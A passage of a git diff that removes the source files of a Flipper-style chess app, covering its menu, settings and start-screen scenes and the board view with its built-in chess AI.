a/applications/external/chess/scenes/flipchess_scene_menu.c +++ /dev/null @@ -1,91 +0,0 @@ -#include "../flipchess.h" - -enum SubmenuIndex { - SubmenuIndexScene1New = 10, - SubmenuIndexScene1Resume, - SubmenuIndexScene1Import, - SubmenuIndexSettings, -}; - -void flipchess_scene_menu_submenu_callback(void* context, uint32_t index) { - FlipChess* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void flipchess_scene_menu_on_enter(void* context) { - FlipChess* app = context; - - submenu_add_item( - app->submenu, - "New Game", - SubmenuIndexScene1New, - flipchess_scene_menu_submenu_callback, - app); - - if(app->import_game == 1) { - submenu_add_item( - app->submenu, - "Resume Game", - SubmenuIndexScene1Resume, - flipchess_scene_menu_submenu_callback, - app); - } - - // submenu_add_item( - // app->submenu, - // "Import Game", - // SubmenuIndexScene1Import, - // flipchess_scene_menu_submenu_callback, - // app); - - submenu_add_item( - app->submenu, "Settings", SubmenuIndexSettings, flipchess_scene_menu_submenu_callback, app); - - submenu_set_selected_item( - app->submenu, scene_manager_get_scene_state(app->scene_manager, FlipChessSceneMenu)); - - view_dispatcher_switch_to_view(app->view_dispatcher, FlipChessViewIdMenu); -} - -bool flipchess_scene_menu_on_event(void* context, SceneManagerEvent event) { - FlipChess* app = context; - //UNUSED(app); - if(event.type == SceneManagerEventTypeBack) { - //exit app - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - return true; - } else if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexScene1New) { - app->import_game = 0; - scene_manager_set_scene_state( - app->scene_manager, FlipChessSceneMenu, SubmenuIndexScene1New); - scene_manager_next_scene(app->scene_manager, FlipChessSceneScene_1); - return true; - } - if(event.event == SubmenuIndexScene1Resume) { - app->import_game = 1; - scene_manager_set_scene_state( - app->scene_manager, FlipChessSceneMenu, SubmenuIndexScene1Resume); - scene_manager_next_scene(app->scene_manager, FlipChessSceneScene_1); - return true; - } else if(event.event == SubmenuIndexScene1Import) { - app->import_game = 1; - app->input_state = FlipChessTextInputGame; - text_input_set_header_text(app->text_input, "Enter board FEN"); - view_dispatcher_switch_to_view(app->view_dispatcher, FlipChessViewIdTextInput); - return true; - } else if(event.event == SubmenuIndexSettings) { - scene_manager_set_scene_state( - app->scene_manager, FlipChessSceneMenu, SubmenuIndexSettings); - scene_manager_next_scene(app->scene_manager, FlipChessSceneSettings); - return true; - } - } - return false; -} - -void flipchess_scene_menu_on_exit(void* context) { - FlipChess* app = context; - submenu_reset(app->submenu); -} \ No newline at end of file diff --git a/applications/external/chess/scenes/flipchess_scene_scene_1.c b/applications/external/chess/scenes/flipchess_scene_scene_1.c deleted file mode 100644 index 11e96b582..000000000 --- a/applications/external/chess/scenes/flipchess_scene_scene_1.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../flipchess.h" -#include "../helpers/flipchess_file.h" -#include "../helpers/flipchess_custom_event.h" -#include "../views/flipchess_scene_1.h" - -void flipchess_scene_1_callback(FlipChessCustomEvent event, void* context) { - furi_assert(context); - FlipChess* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void flipchess_scene_scene_1_on_enter(void* context) { - furi_assert(context); - FlipChess* app = context; - - flipchess_scene_1_set_callback(app->flipchess_scene_1, flipchess_scene_1_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, FlipChessViewIdScene1); -} - -bool flipchess_scene_scene_1_on_event(void* context, SceneManagerEvent event) { - FlipChess* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case FlipChessCustomEventScene1Left: - case FlipChessCustomEventScene1Right: - break; - case FlipChessCustomEventScene1Up: - case FlipChessCustomEventScene1Down: - break; - case FlipChessCustomEventScene1Back: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, FlipChessSceneMenu)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void flipchess_scene_scene_1_on_exit(void* context) { - FlipChess* app = context; - - if(app->import_game == 1 && strlen(app->import_game_text) > 0) { - flipchess_save_file(app->import_game_text, FlipChessFileBoard, NULL, false, true); - } -} \ No newline at end of file diff --git a/applications/external/chess/scenes/flipchess_scene_settings.c b/applications/external/chess/scenes/flipchess_scene_settings.c deleted file mode 100644 index 51833b99c..000000000 --- a/applications/external/chess/scenes/flipchess_scene_settings.c +++ /dev/null @@ -1,102 +0,0 @@ -#include "../flipchess.h" -#include "../helpers/flipchess_voice.h" -#include - -#define TEXT_LABEL_ON "ON" -#define TEXT_LABEL_OFF "OFF" - -const char* const haptic_text[2] = { - TEXT_LABEL_OFF, - TEXT_LABEL_ON, -}; -const uint32_t haptic_value[2] = { - FlipChessHapticOff, - FlipChessHapticOn, -}; - -const char* const player_mode_text[4] = { - "Human", - "CPU 1", - "CPU 2", - "CPU 3", -}; -const uint32_t player_mode_value[4] = { - FlipChessPlayerHuman, - FlipChessPlayerAI1, - FlipChessPlayerAI2, - FlipChessPlayerAI3, -}; - -static void flipchess_scene_settings_set_haptic(VariableItem* item) { - FlipChess* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, haptic_text[index]); - app->haptic = haptic_value[index]; -} - -static void flipchess_scene_settings_set_white_mode(VariableItem* item) { - FlipChess* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, player_mode_text[index]); - app->white_mode = player_mode_value[index]; -} - -static void flipchess_scene_settings_set_black_mode(VariableItem* item) { - FlipChess* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, player_mode_text[index]); - app->black_mode = player_mode_value[index]; -} - -void flipchess_scene_settings_submenu_callback(void* context, uint32_t index) { - FlipChess* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void flipchess_scene_settings_on_enter(void* context) { - FlipChess* app = context; - VariableItem* item; - uint8_t value_index; - - if(app->sound == 1) { - flipchess_voice_which_side(); - } - - // White mode - item = variable_item_list_add( - app->variable_item_list, "White:", 4, flipchess_scene_settings_set_white_mode, app); - value_index = value_index_uint32(app->white_mode, player_mode_value, 4); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, player_mode_text[value_index]); - - // Black mode - item = variable_item_list_add( - app->variable_item_list, "Black:", 4, flipchess_scene_settings_set_black_mode, app); - value_index = value_index_uint32(app->black_mode, player_mode_value, 4); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, player_mode_text[value_index]); - - // Vibro on/off - item = variable_item_list_add( - app->variable_item_list, "Vibro/Haptic:", 2, flipchess_scene_settings_set_haptic, app); - value_index = value_index_uint32(app->haptic, haptic_value, 2); - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, haptic_text[value_index]); - - view_dispatcher_switch_to_view(app->view_dispatcher, FlipChessViewIdSettings); -} - -bool flipchess_scene_settings_on_event(void* context, SceneManagerEvent event) { - FlipChess* app = context; - UNUSED(app); - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - } - return consumed; -} - -void flipchess_scene_settings_on_exit(void* context) { - FlipChess* app = context; - variable_item_list_set_selected_item(app->variable_item_list, 0); - variable_item_list_reset(app->variable_item_list); -} \ No newline at end of file diff --git a/applications/external/chess/scenes/flipchess_scene_startscreen.c b/applications/external/chess/scenes/flipchess_scene_startscreen.c deleted file mode 100644 index f9dfde720..000000000 --- a/applications/external/chess/scenes/flipchess_scene_startscreen.c +++ /dev/null @@ -1,67 +0,0 @@ -#include "../flipchess.h" -#include "../helpers/flipchess_voice.h" -#include "../helpers/flipchess_file.h" -#include "../helpers/flipchess_custom_event.h" -#include "../views/flipchess_startscreen.h" - -void flipchess_scene_startscreen_callback(FlipChessCustomEvent event, void* context) { - furi_assert(context); - FlipChess* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void flipchess_scene_startscreen_on_enter(void* context) { - furi_assert(context); - FlipChess* app = context; - - if(flipchess_has_file(FlipChessFileBoard, NULL, false)) { - if(flipchess_load_file(app->import_game_text, FlipChessFileBoard, NULL)) { - app->import_game = 1; - } - } - - flipchess_startscreen_set_callback( - app->flipchess_startscreen, flipchess_scene_startscreen_callback, app); - view_dispatcher_switch_to_view(app->view_dispatcher, FlipChessViewIdStartscreen); -} - -bool flipchess_scene_startscreen_on_event(void* context, SceneManagerEvent event) { - FlipChess* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case FlipChessCustomEventStartscreenLeft: - case FlipChessCustomEventStartscreenRight: - break; - case FlipChessCustomEventStartscreenUp: - case FlipChessCustomEventStartscreenDown: - break; - case FlipChessCustomEventStartscreenOk: - scene_manager_next_scene(app->scene_manager, FlipChessSceneMenu); - consumed = true; - break; - case FlipChessCustomEventStartscreenBack: - notification_message(app->notification, &sequence_reset_red); - notification_message(app->notification, &sequence_reset_green); - notification_message(app->notification, &sequence_reset_blue); - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, FlipChessSceneStartscreen)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - consumed = true; - break; - } - } - - return consumed; -} - -void flipchess_scene_startscreen_on_exit(void* context) { - FlipChess* app = context; - - if(app->sound == 1) { - flipchess_voice_shall_we_play(); - } -} \ No newline at end of file diff --git a/applications/external/chess/views/flipchess_scene_1.c b/applications/external/chess/views/flipchess_scene_1.c deleted file mode 100644 index 82a0864da..000000000 --- a/applications/external/chess/views/flipchess_scene_1.c +++ /dev/null @@ -1,727 +0,0 @@ -#include "../flipchess.h" -#include -// #include -// #include -#include -#include -//#include -#include -//#include "flipchess_icons.h" -#include "../helpers/flipchess_voice.h" -#include "../helpers/flipchess_haptic.h" - -#define SCL_960_CASTLING 0 // setting to 1 compiles a 960 version of smolchess -#define XBOARD_DEBUG 0 // will create files with xboard communication -#define SCL_EVALUATION_FUNCTION SCL_boardEvaluateStatic -#define SCL_DEBUG_AI 0 - -#include "../chess/smallchesslib.h" - -#define ENABLE_960 0 // setting to 1 enables 960 chess -#define MAX_TEXT_LEN 15 // 15 = max length of text -#define MAX_TEXT_BUF (MAX_TEXT_LEN + 1) // max length of text + null terminator -#define THREAD_WAIT_TIME 20 // time to wait for draw thread to finish - -struct FlipChessScene1 { - View* view; - FlipChessScene1Callback callback; - void* context; -}; -typedef struct { - uint8_t paramPlayerW; - uint8_t paramPlayerB; - - uint8_t paramAnalyze; // depth of analysis - uint8_t paramMoves; - uint8_t paramInfo; - uint8_t paramFlipBoard; - uint8_t paramExit; - uint16_t paramStep; - char* paramFEN; - char* paramPGN; - - int clockSeconds; - SCL_Game game; - SCL_Board startState; - -#if ENABLE_960 - int16_t random960PosNumber; -#endif - - //uint8_t picture[SCL_BOARD_PICTURE_WIDTH * SCL_BOARD_PICTURE_WIDTH]; - uint8_t squareSelected; - uint8_t squareSelectedLast; - - char* msg; - char* msg2; - char* msg3; - char moveString[MAX_TEXT_BUF]; - char moveString2[MAX_TEXT_BUF]; - char moveString3[MAX_TEXT_BUF]; - uint8_t thinking; - - SCL_SquareSet moveHighlight; - uint8_t squareFrom; - uint8_t squareTo; - uint8_t turnState; - -} FlipChessScene1Model; - -static uint8_t picture[SCL_BOARD_PICTURE_WIDTH * SCL_BOARD_PICTURE_WIDTH]; - -void flipchess_putImagePixel(uint8_t pixel, uint16_t index) { - picture[index] = pixel; -} - -uint8_t flipchess_stringsEqual(const char* s1, const char* s2, int max) { - for(int i = 0; i < max; ++i) { - if(*s1 != *s2) return 0; - - if(*s1 == 0) return 1; - - s1++; - s2++; - } - - return 1; -} - -int16_t flipchess_makeAIMove( - SCL_Board board, - uint8_t* s0, - uint8_t* s1, - char* prom, - FlipChessScene1Model* model) { - uint8_t level = SCL_boardWhitesTurn(board) ? model->paramPlayerW : model->paramPlayerB; - uint8_t depth = (level > 0) ? level : 1; - uint8_t extraDepth = 3; - uint8_t endgameDepth = 1; - uint8_t randomness = - model->game.ply < 2 ? 1 : 0; /* in first moves increase randomness for different - openings */ - uint8_t rs0, rs1; - - SCL_gameGetRepetiotionMove(&(model->game), &rs0, &rs1); - - if(model->clockSeconds >= 0) // when using clock, choose AI params accordingly - { - if(model->clockSeconds <= 5) { - depth = 1; - extraDepth = 2; - endgameDepth = 0; - } else if(model->clockSeconds < 15) { - depth = 2; - extraDepth = 2; - } else if(model->clockSeconds < 100) { - depth = 2; - } else if(model->clockSeconds < 5 * 60) { - depth = 3; - } else { - depth = 3; - extraDepth = 4; - } - } - - return SCL_getAIMove( - board, - depth, - extraDepth, - endgameDepth, - SCL_boardEvaluateStatic, - SCL_randomBetter, - randomness, - rs0, - rs1, - s0, - s1, - prom); -} - -bool flipchess_isPlayerTurn(FlipChessScene1Model* model) { - return (SCL_boardWhitesTurn(model->game.board) && model->paramPlayerW == 0) || - (!SCL_boardWhitesTurn(model->game.board) && model->paramPlayerB == 0); -} - -void flipchess_shiftMessages(FlipChessScene1Model* model) { - // shift messages - model->msg3 = model->msg2; - model->msg2 = model->msg; - strncpy(model->moveString3, model->moveString2, MAX_TEXT_LEN); - strncpy(model->moveString2, model->moveString, MAX_TEXT_LEN); -} - -void flipchess_drawBoard(FlipChessScene1Model* model) { - // draw chess board - SCL_drawBoard( - model->game.board, - flipchess_putImagePixel, - model->squareSelected, - model->moveHighlight, - model->paramFlipBoard); -} - -uint8_t flipchess_saveState(FlipChess* app, FlipChessScene1Model* model) { - for(uint8_t i = 0; i < SCL_FEN_MAX_LENGTH; i++) { - app->import_game_text[i] = '\0'; - } - const uint8_t res = SCL_boardToFEN(model->game.board, app->import_game_text); - if(res > 0) { - app->import_game = 1; - } - return res; -} - -uint8_t flipchess_turn(FlipChessScene1Model* model) { - // 0: none, 1: player, 2: AI, 3: undo - uint8_t moveType = FlipChessStatusNone; - - // if(model->paramInfo) { - - // if(model->random960PosNumber >= 0) - // printf("960 random position number: %d\n", model->random960PosNumber); - - // printf("ply number: %d\n", model->game.ply); - - // int16_t eval = SCL_boardEvaluateStatic(model->game.board); - // printf( - // "board static evaluation: %lf (%d)\n", - // ((double)eval) / ((double)SCL_VALUE_PAWN), - // eval); - // printf("board hash: %u\n", SCL_boardHash32(model->game.board)); - // printf("phase: "); - - // switch(SCL_boardEstimatePhase(model->game.board)) { - // case SCL_PHASE_OPENING: - // puts("opening"); - // break; - // case SCL_PHASE_ENDGAME: - // puts("endgame"); - // break; - // default: - // puts("midgame"); - // break; - // } - - // printf( - // "en passant: %d\n", - // ((model->game.board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & 0x0f) + 1) % 16); - // printf( - // "50 move rule count: %d\n", model->game.board[SCL_BOARD_MOVE_COUNT_BYTE]); - - // if(model->paramFEN == NULL && model->paramPGN == NULL) { - // printf("PGN: "); - // SCL_printPGN(model->game.record, putCharacter, startState); - // putchar('\n'); - // } - // } - - if(model->game.state != SCL_GAME_STATE_PLAYING) { - model->paramExit = FlipChessStatusNone; - - } else { - char movePromote = 'q'; - - if(flipchess_isPlayerTurn(model)) { - // if(stringsEqual(string, "undo", 5)) - // moveType = FlipChessStatusMoveUndo; - // else if(stringsEqual(string, "quit", 5)) - // break; - - if(model->turnState == 0 && model->squareSelected != 255) { - model->squareFrom = model->squareSelected; - model->turnState = 1; - } else if(model->turnState == 1 && model->squareSelected != 255) { - model->squareTo = model->squareSelected; - model->turnState = 2; - model->squareSelectedLast = model->squareSelected; - //model->squareSelected = 255; - } - - if(model->turnState == 1 && model->squareFrom != 255) { - if((model->game.board[model->squareFrom] != '.') && - (SCL_pieceIsWhite(model->game.board[model->squareFrom]) == - SCL_boardWhitesTurn(model->game.board))) { - SCL_boardGetMoves(model->game.board, model->squareFrom, model->moveHighlight); - } - } else if(model->turnState == 2) { - if(SCL_squareSetContains(model->moveHighlight, model->squareTo)) { - moveType = FlipChessStatusMovePlayer; - } - model->turnState = 0; - SCL_squareSetClear(model->moveHighlight); - } - - } else { - model->squareSelected = 255; - flipchess_makeAIMove( - model->game.board, &(model->squareFrom), &(model->squareTo), &movePromote, model); - moveType = FlipChessStatusMoveAI; - model->turnState = 0; - } - - if(moveType == FlipChessStatusMovePlayer || moveType == FlipChessStatusMoveAI) { - flipchess_shiftMessages(model); - - SCL_moveToString( - model->game.board, - model->squareFrom, - model->squareTo, - movePromote, - model->moveString); - - SCL_gameMakeMove(&(model->game), model->squareFrom, model->squareTo, movePromote); - - SCL_squareSetClear(model->moveHighlight); - SCL_squareSetAdd(model->moveHighlight, model->squareFrom); - SCL_squareSetAdd(model->moveHighlight, model->squareTo); - } else if(moveType == FlipChessStatusMoveUndo) { - flipchess_shiftMessages(model); - - if(model->paramPlayerW != 0 || model->paramPlayerB != 0) - SCL_gameUndoMove(&(model->game)); - - SCL_gameUndoMove(&(model->game)); - SCL_squareSetClear(model->moveHighlight); - } - - switch(model->game.state) { - case SCL_GAME_STATE_WHITE_WIN: - model->msg = "white wins"; - model->paramExit = FlipChessStatusReturn; - break; - - case SCL_GAME_STATE_BLACK_WIN: - model->msg = "black wins"; - model->paramExit = FlipChessStatusReturn; - break; - - case SCL_GAME_STATE_DRAW_STALEMATE: - model->msg = "stalemate"; - model->paramExit = FlipChessStatusReturn; - break; - - case SCL_GAME_STATE_DRAW_REPETITION: - model->msg = "draw-repetition"; - model->paramExit = FlipChessStatusReturn; - break; - - case SCL_GAME_STATE_DRAW_DEAD: - model->msg = "draw-dead pos."; - model->paramExit = FlipChessStatusReturn; - break; - - case SCL_GAME_STATE_DRAW: - model->msg = "draw"; - model->paramExit = FlipChessStatusReturn; - break; - - case SCL_GAME_STATE_DRAW_50: - model->msg = "draw-50 moves"; - model->paramExit = FlipChessStatusReturn; - break; - - default: - if(model->game.ply > 0) { - const uint8_t whitesTurn = SCL_boardWhitesTurn(model->game.board); - - if(SCL_boardCheck(model->game.board, whitesTurn)) { - model->msg = (whitesTurn ? "black: check!" : "white: check!"); - } else { - model->msg = (whitesTurn ? "black played" : "white played"); - } - - uint8_t s0, s1; - char p; - - SCL_recordGetMove(model->game.record, model->game.ply - 1, &s0, &s1, &p); - SCL_moveToString(model->game.board, s0, s1, p, model->moveString); - } - break; - model->paramExit = moveType; - } - } - - model->thinking = 0; - return model->paramExit; -} - -void flipchess_scene_1_set_callback( - FlipChessScene1* instance, - FlipChessScene1Callback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -void flipchess_scene_1_draw(Canvas* canvas, FlipChessScene1Model* model) { - //UNUSED(model); - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - //canvas_draw_icon(canvas, 0, 0, &I_FLIPR_128x64); - - // Frame - canvas_draw_frame(canvas, 0, 0, 66, 64); - - // Message - canvas_set_font(canvas, FontSecondary); - if(model->thinking) { - canvas_draw_str(canvas, 68, 10, "thinking..."); - } else { - canvas_draw_str(canvas, 68, 10, model->msg); - } - canvas_draw_str(canvas, 68, 19, model->moveString); - canvas_draw_str(canvas, 68, 31, model->msg2); - canvas_draw_str(canvas, 68, 40, model->moveString2); - canvas_draw_str(canvas, 68, 52, model->msg3); - canvas_draw_str(canvas, 68, 61, model->moveString3); - - // Board - for(uint16_t y = 0; y < SCL_BOARD_PICTURE_WIDTH; y++) { - for(uint16_t x = 0; x < SCL_BOARD_PICTURE_WIDTH; x++) { - if(!picture[x + (y * SCL_BOARD_PICTURE_WIDTH)]) { - canvas_draw_dot(canvas, x + 1, y); - } - } - } -} - -static int flipchess_scene_1_model_init( - FlipChessScene1Model* const model, - const int white_mode, - const int black_mode, - char* import_game_text) { - model->paramPlayerW = white_mode; - model->paramPlayerB = black_mode; - - model->paramAnalyze = 255; // depth of analysis - model->paramMoves = 0; - model->paramInfo = 1; - model->paramFlipBoard = 0; - model->paramExit = FlipChessStatusNone; - model->paramStep = 0; - model->paramFEN = import_game_text; - model->paramPGN = NULL; - model->clockSeconds = -1; - - SCL_Board emptyStartState = SCL_BOARD_START_STATE; - memcpy(model->startState, &emptyStartState, sizeof(SCL_Board)); - -#if ENABLE_960 - model->random960PosNumber = -1; -#endif - - model->squareSelected = 255; - model->squareSelectedLast = 28; // start selector near middle - - model->msg = "init"; - model->moveString[0] = '\0'; - model->msg2 = ""; - model->moveString2[0] = '\0'; - model->msg3 = ""; - model->moveString3[0] = '\0'; - model->thinking = 0; - - SCL_SquareSet emptySquareSet = SCL_SQUARE_SET_EMPTY; - memcpy(model->moveHighlight, &emptySquareSet, sizeof(SCL_SquareSet)); - model->squareFrom = 255; - model->squareTo = 255; - model->turnState = 0; - - SCL_randomBetterSeed(furi_hal_random_get()); - -#if ENABLE_960 -#if SCL_960_CASTLING - if(model->random960PosNumber < 0) model->random960PosNumber = SCL_randomBetter(); -#endif - if(model->random960PosNumber >= 0) model->random960PosNumber %= 960; -#endif - - if(model->paramFEN != NULL) - SCL_boardFromFEN(model->startState, model->paramFEN); - else if(model->paramPGN != NULL) { - SCL_Record record; - SCL_recordFromPGN(record, model->paramPGN); - SCL_boardInit(model->startState); - SCL_recordApply(record, model->startState, model->paramStep); - } - -#if ENABLE_960 -#if SCL_960_CASTLING - else - SCL_boardInit960(model->startState, model->random960PosNumber); -#endif -#endif - - SCL_gameInit(&(model->game), model->startState); - - if(model->paramAnalyze != 255) { - char p; - uint8_t move[] = {0, 0}; - - model->paramPlayerW = model->paramAnalyze; - model->paramPlayerB = model->paramAnalyze; - - int16_t evaluation = - flipchess_makeAIMove(model->game.board, &(move[0]), &(move[1]), &p, model); - - if(model->paramAnalyze == 0) evaluation = SCL_boardEvaluateStatic(model->game.board); - - char moveStr[5]; - moveStr[4] = 0; - - SCL_squareToString(move[0], moveStr); - SCL_squareToString(move[1], moveStr + 2); - - //printf("%lf (%d)\n", ((double)evaluation) / ((double)SCL_VALUE_PAWN), evaluation); - //puts(moveStr); - - return evaluation; - } - - if(model->paramMoves) { - char string[256]; - - for(int i = 0; i < 64; ++i) - if(model->game.board[i] != '.' && - SCL_pieceIsWhite(model->game.board[i]) == SCL_boardWhitesTurn(model->game.board)) { - SCL_SquareSet possibleMoves = SCL_SQUARE_SET_EMPTY; - - SCL_boardGetMoves(model->game.board, i, possibleMoves); - - SCL_SQUARE_SET_ITERATE_BEGIN(possibleMoves) - SCL_moveToString(model->game.board, i, iteratedSquare, 'q', string); - //printf("%s ", string); - SCL_SQUARE_SET_ITERATE_END - } - - return FlipChessStatusReturn; - } - - model->msg = (SCL_boardWhitesTurn(model->game.board) ? "white to move" : "black to move"); - - // 0 = success - return FlipChessStatusNone; -} - -bool flipchess_scene_1_input(InputEvent* event, void* context) { - furi_assert(context); - FlipChessScene1* instance = context; - FlipChess* app = instance->context; - - if(event->type == InputTypeRelease) { - switch(event->key) { - case InputKeyBack: - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - if(model->turnState == 1) { - model->turnState = 0; - SCL_squareSetClear(model->moveHighlight); - flipchess_drawBoard(model); - } else { - instance->callback(FlipChessCustomEventScene1Back, instance->context); - } - }, - true); - break; - case InputKeyRight: - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - if(model->squareSelectedLast != 255 && model->squareSelected == 255) { - model->squareSelected = model->squareSelectedLast; - } else { - model->squareSelected = (model->squareSelected + 1) % 64; - } - flipchess_drawBoard(model); - }, - true); - break; - case InputKeyDown: - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - if(model->squareSelectedLast != 255 && model->squareSelected == 255) { - model->squareSelected = model->squareSelectedLast; - } else { - model->squareSelected = (model->squareSelected + 56) % 64; - } - flipchess_drawBoard(model); - }, - true); - break; - case InputKeyLeft: - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - if(model->squareSelectedLast != 255 && model->squareSelected == 255) { - model->squareSelected = model->squareSelectedLast; - } else { - model->squareSelected = (model->squareSelected + 63) % 64; - } - flipchess_drawBoard(model); - }, - true); - break; - case InputKeyUp: - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - if(model->squareSelectedLast != 255 && model->squareSelected == 255) { - model->squareSelected = model->squareSelectedLast; - } else { - model->squareSelected = (model->squareSelected + 8) % 64; - } - flipchess_drawBoard(model); - }, - true); - break; - case InputKeyOk: - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - // if(model->paramExit == FlipChessStatusReturn) { - // instance->callback(FlipChessCustomEventScene1Back, instance->context); - // break; - // } - if(!flipchess_isPlayerTurn(model)) { - model->thinking = 1; - } - }, - true); - furi_thread_flags_wait(0, FuriFlagWaitAny, THREAD_WAIT_TIME); - - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - // first turn of round, probably player but could be AI - if(flipchess_turn(model) == FlipChessStatusReturn) { - if(app->sound == 1) flipchess_voice_a_strange_game(); - flipchess_play_long_bump(app); - } - flipchess_saveState(app, model); - flipchess_drawBoard(model); - }, - true); - - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - if(!flipchess_isPlayerTurn(model)) { - model->thinking = 1; - } - }, - true); - furi_thread_flags_wait(0, FuriFlagWaitAny, THREAD_WAIT_TIME); - - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - // if player played, let AI play - if(!flipchess_isPlayerTurn(model)) { - if(flipchess_turn(model) == FlipChessStatusReturn) { - if(app->sound == 1) flipchess_voice_a_strange_game(); - flipchess_play_long_bump(app); - } - flipchess_saveState(app, model); - flipchess_drawBoard(model); - } - }, - true); - break; - case InputKeyMAX: - break; - } - } - return true; -} - -void flipchess_scene_1_exit(void* context) { - furi_assert(context); - FlipChessScene1* instance = (FlipChessScene1*)context; - - with_view_model( - instance->view, FlipChessScene1Model * model, { model->paramExit = 0; }, true); -} - -void flipchess_scene_1_enter(void* context) { - furi_assert(context); - FlipChessScene1* instance = (FlipChessScene1*)context; - FlipChess* app = instance->context; - - flipchess_play_happy_bump(app); - - with_view_model( - instance->view, - FlipChessScene1Model * model, - { - // load imported game if applicable - char* import_game_text = NULL; - if(app->import_game == 1 && strlen(app->import_game_text) > 0) { - import_game_text = app->import_game_text; - } else { - if(app->sound == 1) flipchess_voice_how_about_chess(); - } - - int init = flipchess_scene_1_model_init( - model, app->white_mode, app->black_mode, import_game_text); - - if(init == FlipChessStatusNone) { - // perform initial turn, sets up and lets white - // AI play if applicable - const uint8_t turn = flipchess_turn(model); - if(turn == FlipChessStatusReturn) { - init = turn; - } else { - flipchess_saveState(app, model); - flipchess_drawBoard(model); - } - } - - // if return status, return from scene immediately - // if(init == FlipChessStatusReturn) { - // instance->callback(FlipChessCustomEventScene1Back, instance->context); - // } - }, - true); -} - -FlipChessScene1* flipchess_scene_1_alloc() { - FlipChessScene1* instance = malloc(sizeof(FlipChessScene1)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(FlipChessScene1Model)); - view_set_context(instance->view, instance); // furi_assert crashes in events without this - view_set_draw_callback(instance->view, (ViewDrawCallback)flipchess_scene_1_draw); - view_set_input_callback(instance->view, flipchess_scene_1_input); - view_set_enter_callback(instance->view, flipchess_scene_1_enter); - view_set_exit_callback(instance->view, flipchess_scene_1_exit); - - return instance; -} - -void flipchess_scene_1_free(FlipChessScene1* instance) { - furi_assert(instance); - - with_view_model( - instance->view, FlipChessScene1Model * model, { UNUSED(model); }, true); - - view_free(instance->view); - free(instance); -} - -View* flipchess_scene_1_get_view(FlipChessScene1* instance) { - furi_assert(instance); - return instance->view; -} \ No newline at end of file diff --git a/applications/external/chess/views/flipchess_scene_1.h b/applications/external/chess/views/flipchess_scene_1.h deleted file mode 100644 index a57a90781..000000000 --- a/applications/external/chess/views/flipchess_scene_1.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/flipchess_custom_event.h" - -typedef struct FlipChessScene1 FlipChessScene1; - -typedef void (*FlipChessScene1Callback)(FlipChessCustomEvent event, void* context); - -void flipchess_scene_1_set_callback( - FlipChessScene1* flipchess_scene_1, - FlipChessScene1Callback callback, - void* context); - -View* flipchess_scene_1_get_view(FlipChessScene1* flipchess_static); - -FlipChessScene1* flipchess_scene_1_alloc(); - -void flipchess_scene_1_free(FlipChessScene1* flipchess_static); \ No newline at end of file diff --git a/applications/external/chess/views/flipchess_startscreen.c b/applications/external/chess/views/flipchess_startscreen.c deleted file mode 100644 index 9a146674e..000000000 --- a/applications/external/chess/views/flipchess_startscreen.c +++ /dev/null @@ -1,164 +0,0 @@ -#include "../flipchess.h" -#include -#include -#include -#include -#include "flipchess_icons.h" -#include - -struct FlipChessStartscreen { - View* view; - FlipChessStartscreenCallback callback; - void* context; -}; - -typedef struct { - int some_value; -} FlipChessStartscreenModel; - -void flipchess_startscreen_set_callback( - FlipChessStartscreen* instance, - FlipChessStartscreenCallback callback, - void* context) { - furi_assert(instance); - furi_assert(callback); - instance->callback = callback; - instance->context = context; -} - -void flipchess_startscreen_draw(Canvas* canvas, FlipChessStartscreenModel* model) { - UNUSED(model); - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - canvas_draw_icon(canvas, 0, 0, &I_FLIPR_128x64); - -#ifdef CANVAS_HAS_FONT_SCUMM_ROMAN_OUTLINE - const uint8_t text_x_pos = 2; - const uint8_t text_y_pos = 12; - canvas_set_font(canvas, FontScummRomanOutline); -#else - const uint8_t text_x_pos = 4; - const uint8_t text_y_pos = 11; - canvas_set_font(canvas, FontPrimary); -#endif - canvas_draw_str(canvas, text_x_pos, text_y_pos, "Chess"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 62, text_y_pos, FLIPCHESS_VERSION); - - 